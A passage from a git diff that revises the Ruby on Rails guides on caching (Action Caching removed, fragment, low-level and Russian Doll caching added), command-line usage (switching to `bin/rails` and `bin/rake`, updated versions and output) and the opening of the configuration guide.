overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. ### Action Caching Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy. -Clearing the cache works in a similar way to Page Caching, except you use `expire_action` instead of `expire_page`. - -Let's say you only wanted authenticated users to call actions on `ProductsController`. - -```ruby -class ProductsController < ActionController - - before_action :authenticate - caches_action :index - - def index - @products = Product.all - end - - def create - expire_action action: :index - end - -end -``` - -You can also use `:if` (or `:unless`) to pass a Proc that specifies when the action should be cached. Also, you can use `layout: false` to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2. - -You can modify the default action cache path by passing a `:cache_path` option. This will be passed directly to `ActionCachePath.path_for`. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance. - -Finally, if you are using memcached or Ehcache, you can also pass `:expires_in`. In fact, all parameters not used by `caches_action` are sent to the underlying cache store. - -INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job. +INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. ### Fragment Caching @@ -173,6 +87,80 @@ This fragment is then available to all actions in the `ProductsController` using ```ruby expire_fragment('all_available_products') ``` +If you want to avoid expiring the fragment manually, whenever an action updates a product, you can define a helper method: + +```ruby +module ProductsHelper + def cache_key_for_products + count = Product.count + max_updated_at = Product.maximum(:updated_at).try(:utc).try(:to_s, :number) + "products/all-#{count}-#{max_updated_at}" + end +end +``` + +This method generates a cache key that depends on all products and can be used in the view: + +```erb +<% cache(cache_key_for_products) do %> + All available products: +<% end %> +``` + +If you want to cache a fragment under certain conditions, you can use `cache_if` or `cache_unless` + +```erb +<% cache_if (condition, cache_key_for_products) do %> + All available products: +<% end %> +``` + +You can also use an Active Record model as the cache key: + +```erb +<% Product.all.each do |p| %> + <% cache(p) do %> + <%= link_to p.name, product_url(p) %> + <% end %> +<% end %> +``` + +Behind the scenes, a method called `cache_key` will be invoked on the model and it returns a string like `products/23-20130109142513`. The cache key includes the model name, the id and finally the updated_at timestamp. Thus it will automatically generate a new fragment when the product is updated because the key changes. + +You can also combine the two schemes which is called "Russian Doll Caching": + +```erb +<% cache(cache_key_for_products) do %> + All available products: + <% Product.all.each do |p| %> + <% cache(p) do %> + <%= link_to p.name, product_url(p) %> + <% end %> + <% end %> +<% end %> +``` + +It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment. + +### Low-Level Caching + +Sometimes you need to cache a particular value or query result, instead of caching view fragments. Rails caching mechanism works great for storing __any__ kind of information. + +The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned. + +Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching: + +```ruby +class Product < ActiveRecord::Base + def competing_price + Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do + Competitor::API.find_price(id) + end + end +end +``` + +NOTE: Notice that in this example we used `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching for instance level information, you need to generate a cache key. ### SQL Caching @@ -181,7 +169,7 @@ Query caching is a Rails feature that caches the result set returned by each que For example: ```ruby -class ProductsController < ActionController +class ProductsController < ApplicationController def index # Run a find query @@ -196,14 +184,10 @@ class ProductsController < ActionController end ``` -The second time the same query is run against the database, it's not actually going to hit the database. The first time the result is returned from the query it is stored in the query cache (in memory) and the second time it's pulled from memory. - -However, it's important to note that query caches are created at the start of an action and destroyed at the end of that action and thus persist only for the duration of the action. If you'd like to store query results in a more persistent fashion, you can in Rails by using low level caching. - Cache Stores ------------ -Rails provides different stores for the cached data created by <b>action</b> and <b>fragment</b> caches. +Rails provides different stores for the cached data created by **action** and **fragment** caches. TIP: Page caches are always stored on disk. @@ -227,7 +211,7 @@ The main methods to call are `read`, `write`, `delete`, `exist?`, and `fetch`. T There are some common options used by all cache implementations. These can be passed to the constructor or the various methods to interact with entries. -* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. The default value will include the application name and Rails environment. +* `:namespace` - This option can be used to create a namespace within the cache store. It is especially useful if your application shares a cache with other applications. * `:compress` - This option can be used to indicate that compression should be used in the cache. This can be useful for transferring large cache entries over a slow network. @@ -263,7 +247,7 @@ This is the default cache store implementation. ### ActiveSupport::Cache::MemCacheStore -This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very a high performance and redundancy. +This cache store uses Danga's `memcached` server to provide a centralized cache for your application. Rails uses the bundled `dalli` gem by default. This is currently the most popular cache store for production websites. It can be used to provide a single, shared cache cluster with very high performance and redundancy. When initializing the cache, you need to specify the addresses for all memcached servers in your cluster. If none is specified, it will assume memcached is running on the local host on the default port, but this is not an ideal set up for larger sites. @@ -283,7 +267,7 @@ config.cache_store = :ehcache_store When initializing the cache, you may use the `:ehcache_config` option to specify the Ehcache config file to use (where the default is "ehcache.xml" in your Rails config directory), and the :cache_name option to provide a custom name for your cache (the default is rails_cache). -In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including: +In addition to the standard `:expires_in` option, the `write` method on this cache can also accept the additional `:unless_exist` option, which will cause the cache store to use Ehcache's `putIfAbsent` method instead of `put`, and therefore will not overwrite an existing entry. Additionally, the `write` method supports all of the properties exposed by the [Ehcache Element class](http://ehcache.org/apidocs/net/sf/ehcache/Element.html) , including: | Property | Argument Type | Description | | --------------------------- | ------------------- | ----------------------------------------------------------- | @@ -339,7 +323,7 @@ Conditional GET support Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. -They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server’s version then the server only needs to send back an empty response with a not modified status. +They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status. It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task: @@ -365,18 +349,23 @@ class ProductsController < ApplicationController end ``` -Instead of a options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: +Instead of an options hash, you can also simply pass in a model, Rails will use the `updated_at` and `cache_key` methods for setting `last_modified` and `etag`: ```ruby class ProductsController < ApplicationController def show @product = Product.find(params[:id]) - respond_with(@product) if stale?(@product) + + if stale?(@product) + respond_to do |wants| + # ... normal response processing + end + end end end ``` -If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using respond_to or calling render yourself) then you’ve got an easy helper in fresh_when: +If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`: ```ruby class ProductsController < ApplicationController @@ -390,8 +379,3 @@ class ProductsController < ApplicationController end end ``` - -Further reading ---------------- - -* [Scaling Rails Screencasts](http://railslab.newrelic.com/scaling-rails) diff --git a/guides/source/command_line.md b/guides/source/command_line.md index fb15790d90..d14cdb93f2 100644 --- a/guides/source/command_line.md +++ b/guides/source/command_line.md @@ -1,15 +1,14 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + The Rails Command Line ====================== -Rails comes with every command line tool you'll need to - After reading this guide, you will know: * How to create a Rails application. * How to generate models, controllers, database migrations, and unit tests. * How to start a development server. * How to experiment with objects through an interactive shell. -* How to profile and benchmark your new creation. -------------------------------------------------------------------------------- @@ -27,6 +26,8 @@ There are a few commands that are absolutely critical to your everyday usage of * `rails dbconsole` * `rails new app_name` +All commands can run with `-h` or `--help` to list more information. + Let's create a simple Rails application to step through each of these commands in context. ### `rails new` @@ -56,20 +57,18 @@ Rails will set you up with what seems like a huge amount of stuff for such a tin The `rails server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to access your application through a web browser. -INFO: WEBrick isn't your only option for serving Rails. We'll get to that [later](#server-with-different-backends). - With no further work, `rails server` will run our new shiny Rails app: ```bash $ cd commandsapp -$ rails server +$ bin/rails server => Booting WEBrick -=> Rails 3.2.3 application starting in development on http://0.0.0.0:3000 +=> Rails 5.0.0 application starting in development on http://localhost:3000 => Call with -d to detach => Ctrl-C to shutdown server -[2012-05-28 00:39:41] INFO WEBrick 1.3.1 -[2012-05-28 00:39:41] INFO ruby 1.9.2 (2011-02-18) [x86_64-darwin11.2.0] -[2012-05-28 00:39:41] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 +[2013-08-07 02:00:01] INFO WEBrick 1.3.1 +[2013-08-07 02:00:01] INFO ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0] +[2013-08-07 02:00:01] INFO WEBrick::HTTPServer#start: pid=69680 port=3000 ``` With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. @@ -79,10 +78,10 @@ INFO: You can also use the alias "s" to start the server: `rails s`. The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`. ```bash -$ rails server -e production -p 4000 +$ bin/rails server -e production -p 4000 ``` -The `-b` option binds Rails to the specified ip, by default it is 0.0.0.0. You can run a server as a daemon by passing a `-d` option. +The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option. ### `rails generate` @@ -91,7 +90,7 @@ The `rails generate` command uses templates to create a whole lot of things. Run INFO: You can also use the alias "g" to invoke the generator command: `rails g`. ```bash -$ rails generate +$ bin/rails generate Usage: rails generate GENERATOR [args] [options] ... @@ -116,7 +115,7 @@ Let's make our own controller with the controller generator. But what command sh INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`. ```bash -$ rails generate controller +$ bin/rails generate controller Usage: rails generate controller NAME [action action] [options] ... @@ -125,25 +124,24 @@ Usage: rails generate controller NAME [action action] [options] Description: ... - To create a controller within a module, specify the controller name as a - path like 'parent_module/controller_name'. + To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'. ... Example: - `rails generate controller CreditCard open debit credit close` + `rails generate controller CreditCards open debit credit close` - Credit card controller with URLs like /credit_card/debit. - Controller: app/controllers/credit_card_controller.rb - Test: test/controllers/credit_card_controller_test.rb - Views: app/views/credit_card/debit.html.erb [...] - Helper: app/helpers/credit_card_helper.rb + Credit card controller with URLs like /credit_cards/debit. + Controller: app/controllers/credit_cards_controller.rb + Test: test/controllers/credit_cards_controller_test.rb + Views: app/views/credit_cards/debit.html.erb [...] + Helper: app/helpers/credit_cards_helper.rb ``` The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us. ```bash -$ rails generate controller Greetings hello +$ bin/rails generate controller Greetings hello create app/controllers/greetings_controller.rb route get "greetings/hello" invoke erb @@ -153,13 +151,11 @@ $ rails generate controller Greetings hello create test/controllers/greetings_controller_test.rb invoke helper create app/helpers/greetings_helper.rb - invoke test_unit - create test/helpers/greetings_helper_test.rb invoke assets invoke coffee - create app/assets/javascripts/greetings.js.coffee + create app/assets/javascripts/greetings.coffee invoke scss - create app/assets/stylesheets/greetings.css.scss + create app/assets/stylesheets/greetings.scss ``` What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file and a stylesheet file. @@ -184,7 +180,7 @@ Then the view, to display our message (in `app/views/greetings/hello.html.erb`): Fire up your server using `rails server`. ```bash -$ rails server +$ bin/rails server => Booting WEBrick... ``` @@ -195,13 +191,13 @@ INFO: With a normal, plain-old Rails application, your URLs will generally follo Rails comes with a generator for data models too. ```bash -$ rails generate model +$ bin/rails generate model Usage: rails generate model NAME [field[:type][:index] field[:type][:index]] [options] ... -ActiveRecord options: +Active Record options: [--migration] # Indicates when to generate migration # Default: true @@ -218,14 +214,15 @@ But instead of generating a model directly (which we'll be doing later), let's s We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. ```bash -$ rails generate scaffold HighScore game:string score:integer +$ bin/rails generate scaffold HighScore game:string score:integer invoke active_record - create db/migrate/20120528060026_create_high_scores.rb + create db/migrate/20130717151933_create_high_scores.rb create app/models/high_score.rb invoke test_unit create test/models/high_score_test.rb create test/fixtures/high_scores.yml - route resources :high_scores + invoke resource_route + route resources :high_scores invoke scaffold_controller create app/controllers/high_scores_controller.rb invoke erb @@ -239,23 +236,24 @@ $ rails generate scaffold HighScore game:string score:integer create test/controllers/high_scores_controller_test.rb invoke helper create app/helpers/high_scores_helper.rb - invoke test_unit - create test/helpers/high_scores_helper_test.rb + invoke jbuilder + create app/views/high_scores/index.json.jbuilder + create app/views/high_scores/show.json.jbuilder invoke assets invoke coffee - create app/assets/javascripts/high_scores.js.coffee + create app/assets/javascripts/high_scores.coffee invoke scss - create app/assets/stylesheets/high_scores.css.scss + create app/assets/stylesheets/high_scores.scss invoke scss - create app/assets/stylesheets/scaffolds.css.scss + identical app/assets/stylesheets/scaffolds.scss ``` The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. -The migration requires that we **migrate**, that is, run some Ruby code (living in that `20120528060026_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. +The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while. ```bash -$ rake db:migrate +$ bin/rake db:migrate == CreateHighScores: migrating =============================================== -- create_table(:high_scores) -> 0.0017s @@ -267,7 +265,7 @@ INFO: Let's talk about unit tests. Unit tests are code that tests and makes asse Let's see the interface Rails created for us. ```bash -$ rails server +$ bin/rails server ``` Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!) @@ -281,18 +279,43 @@ INFO: You can also use the alias "c" to invoke the console: `rails c`. You can specify the environment in which the `console` command should operate. ```bash -$ rails console staging +$ bin/rails console staging ``` If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`. ```bash -$ rails console --sandbox -Loading development environment in sandbox (Rails 3.2.3) +$ bin/rails console --sandbox +Loading development environment in sandbox (Rails 5.0.0) Any modifications you make will be rolled back on exit irb(main):001:0> ``` +#### The app and helper objects + +Inside the `rails console` you have access to the `app` and `helper` instances. + +With the `app` method you can access url and path helpers, as well as do requests. + +```bash +>> app.root_path +=> "/" + +>> app.get _ +Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300 +... +``` + +With the `helper` method it is possible to access Rails and your application's helpers. + +```bash +>> helper.time_ago_in_words 30.days.ago +=> "about 1 month" + +>> helper.my_custom_helper +=> "my custom helper" +``` + ### `rails dbconsole` `rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3. @@ -304,7 +327,7 @@ INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`. `runner` runs Ruby code in the context of Rails non-interactively. For instance: ```bash -$ rails runner "Model.long_running_method" +$ bin/rails runner "Model.long_running_method" ``` INFO: You can also use the alias "r" to invoke the runner: `rails r`. @@ -312,7 +335,7 @@ INFO: You can also use the alias "r" to invoke the runner: `rails r`. You can specify the environment in which the `runner` command should operate using the `-e` switch. ```bash -$ rails runner -e staging "Model.long_running_method" +$ bin/rails runner -e staging "Model.long_running_method" ``` ### `rails destroy` @@ -322,7 +345,7 @@ Think of `destroy` as the opposite of `generate`. It'll figure out what generate INFO: You can also use the alias "d" to invoke the destroy command: `rails d`. ```bash -$ rails generate model Oops +$ bin/rails generate model Oops invoke active_record create db/migrate/20120528062523_create_oops.rb create app/models/oops.rb @@ -331,7 +354,7 @@ $ rails generate model Oops create test/fixtures/oops.yml ``` ```bash -$ rails destroy model Oops +$ bin/rails destroy model Oops invoke active_record remove db/migrate/20120528062523_create_oops.rb remove app/models/oops.rb @@ -347,37 +370,37 @@ Rake is Ruby Make, a standalone Ruby utility that replaces the Unix utility 'mak You can get a list of Rake tasks available to you, which will often depend on your current directory, by typing `rake --tasks`. Each task has a description, and should help you find the thing you need. +To get the full backtrace for running rake task you can pass the option `--trace` to command line, for example `rake db:create --trace`. + ```bash -$ rake --tasks +$ bin/rake --tasks rake about # List versions of all Rails frameworks and the environment -rake assets:clean # Remove compiled assets +rake assets:clean # Remove old compiled assets +rake assets:clobber # Remove compiled assets rake assets:precompile # Compile all the assets named in config.assets.precompile rake db:create # Create the database from config/database.yml for the current Rails.env ... -rake log:clear # Truncates all *.log files in log/ to zero bytes +rake log:clear # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development) rake middleware # Prints out your Rack middleware stack ... rake tmp:clear # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear) rake tmp:create # Creates tmp directories for sessions, cache, sockets, and pids ``` +INFO: You can also use `rake -T` to get the list of tasks. ### `about` `rake about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. ```bash -$ rake about +$ bin/rake about About your application's environment -Ruby version 1.9.3 (x86_64-linux) -RubyGems version 1.3.6 -Rack version 1.3 -Rails version 4.0.0.beta +Rails version 5.0.0 +Ruby version 2.2.0 (x86_64-linux) +RubyGems version 2.4.5 +Rack version 1.6 JavaScript Runtime Node.js (V8) -Active Record version 4.0.0.beta -Action Pack version 4.0.0.beta -Action Mailer version 4.0.0.beta -Active Support version 4.0.0.beta -Middleware ActionDispatch::Static, Rack::Lock, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::EncryptedCookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport +Middleware Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag Application root /home/foobar/commandsapp Environment development Database adapter sqlite3 @@ -386,7 +409,9 @@ Database schema version 20110805173523 ### `assets` -You can precompile the assets in `app/assets` using `rake assets:precompile` and remove those compiled assets using `rake assets:clean`. +You can precompile the assets in `app/assets` using `rake assets:precompile`, and remove older compiled assets using `rake assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built. + +If you want to clear `public/assets` completely, you can use `rake assets:clobber`. ### `db` @@ -404,52 +429,58 @@ The `doc:` namespace has the tools to generate documentation for your app, API d ### `notes` -`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.erb`, `.haml` and `.slim` for both default and custom annotations. +`rake notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations. ```bash -$ rake notes +$ bin/rake notes (in /home/foobar/commandsapp) app/controllers/admin/users_controller.rb: * [ 20] [TODO] any other way to do this? * [132] [FIXME] high priority for next deploy -app/model/school.rb: +app/models/school.rb: * [ 13] [OPTIMIZE] refactor this code to make it faster * [ 17] [FIXME] ``` +You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up. + +```ruby +config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } +``` + If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name. ```bash -$ rake notes:fixme +$ bin/rake notes:fixme (in /home/foobar/commandsapp) app/controllers/admin/users_controller.rb: * [132] high priority for next deploy -app/model/school.rb: +app/models/school.rb: * [ 17] ``` You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`. ```bash -$ rake notes:custom ANNOTATION=BUG +$ bin/rake notes:custom ANNOTATION=BUG (in /home/foobar/commandsapp) -app/model/post.rb: +app/models/article.rb: * [ 23] Have to fix this one before pushing! ``` NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines. -By default, `rake notes` will look in the `app`, `config`, `lib`, `script` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`. +By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`. ```bash -$ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor' -$ rake notes +$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor' +$ bin/rake notes (in /home/foobar/commandsapp) -app/model/user.rb: +app/models/user.rb: * [ 35] [FIXME] User should have a subscription at this point -rspec/model/user_spec.rb: +spec/models/user_spec.rb: * [122] [TODO] Verify the user that has a subscription works ``` @@ -461,18 +492,19 @@ rspec/model/user_spec.rb: INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html) -Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. +Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write. ### `tmp` -The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions. +The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for sessions), process id files, and cached actions. -The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory: +The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory: * `rake tmp:cache:clear` clears `tmp/cache`. * `rake tmp:sessions:clear` clears `tmp/sessions`. * `rake tmp:sockets:clear` clears `tmp/sockets`. * `rake tmp:clear` clears all the three: cache, sessions and sockets. +* `rake tmp:create` creates tmp directories for sessions, cache, sockets, and pids. ### Miscellaneous @@ -482,7 +514,9 @@ The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory: ### Custom Rake Tasks -Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`. +Custom rake tasks have a `.rake` extension and are placed in +`Rails.root/lib/tasks`. You can create these custom rake tasks with the +`bin/rails generate task` command. ```ruby desc "I am short, but comprehensive description for my cool task" @@ -514,9 +548,9 @@ end Invocation of the tasks will look like: ```bash -rake task_name -rake "task_name[value 1]" # entire argument string should be quoted -rake db:nothing +$ bin/rake task_name +$ bin/rake "task_name[value 1]" # entire argument string should be quoted +$ bin/rake db:nothing ``` NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code. @@ -563,14 +597,20 @@ We had to create the **gitapp** directory and initialize an empty git repository $ cat config/database.yml # PostgreSQL. Versions 8.2 and up are supported. # -# Install the ruby-postgres driver: -# gem install ruby-postgres -# On Mac OS X: -# gem install ruby-postgres -- --include=/usr/local/pgsql +# Install the pg driver: +# gem install pg +# On OS X with Homebrew: +# gem install pg -- --with-pg-config=/usr/local/bin/pg_config +# On OS X with MacPorts: +# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config # On Windows: -# gem install ruby-postgres +# gem install pg # Choose the win32 build. # Install PostgreSQL and put its /bin directory on your path. +# +# Configure Using Gemfile +# gem 'pg' +# development: adapter: postgresql encoding: unicode @@ -585,28 +625,3 @@ development: It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app. - -### `server` with Different Backends - -Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!). - -NOTE: For more details on the Rack integration, see [Rails on Rack](rails_on_rack.html). - -To use a different server, just install its gem, then use its name for the first parameter to `rails server`: - -```bash -$ sudo gem install mongrel -Building native extensions. This could take a while... -Building native extensions. This could take a while... -Successfully installed gem_plugin-0.2.3 -Successfully installed fastthread-1.0.1 -Successfully installed cgi_multipart_eof_fix-2.5.0 -Successfully installed mongrel-1.1.5 -... -... -Installing RDoc documentation for mongrel-1.1.5... -$ rails server mongrel -=> Booting Mongrel (use 'rails server webrick' to force WEBrick) -=> Rails 3.1.0 application starting on http://0.0.0.0:3000 -... -``` diff --git a/guides/source/configuring.md b/guides/source/configuring.md index 6e93932d49..0a375d7cb8 100644 --- a/guides/source/configuring.md +++ b/guides/source/configuring.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Configuring Rails Applications ============================== @@ -30,10 +32,10 @@ Configuring Rails Components In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components. -For example, the default `config/application.rb` file includes this setting: +For example, the `config/application.rb` file includes this setting: ```ruby -config.filter_parameters += [:password] +config.autoload_paths += %W(#{config.root}/extras) ``` This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`: @@ -56,16 +58,19 @@ These configuration methods are to be called on a `Rails::Railtie` object, such end ``` -* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. +* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. * `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. * `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`. -* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`. +* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. +* `config.beginning_of_week` sets the default beginning of week for the +application. Accepts a valid week day symbol (e.g. `:monday`). + * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. * `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. @@ -83,7 +88,7 @@ These configuration methods are to be called on a `Rails::Railtie` object, such end ``` -* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`. +* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. * `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace. @@ -97,23 +102,27 @@ These configuration 